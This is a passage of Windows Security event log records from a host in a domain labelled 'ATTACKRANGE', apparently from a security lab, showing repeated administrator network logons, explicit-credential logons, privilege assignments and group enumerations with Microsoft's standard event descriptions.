Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245558
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245557
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x6c
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245556
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245555
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245571
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE208E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245570
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE208E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245569
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245568
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245567
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xC8628

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245599
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE5211

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245598
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE5211
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245597
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245596
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245595
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE4E5F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245594
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE4E5F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245593
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245592
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245591
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245590
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE45B9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245589
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE45B9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245588
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245587
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245586
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE440F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245585
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB70DE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245584
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB75A0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245583
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE440F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245582
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE440F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245581
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245580
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245579
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE43DE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245578
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE43DE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
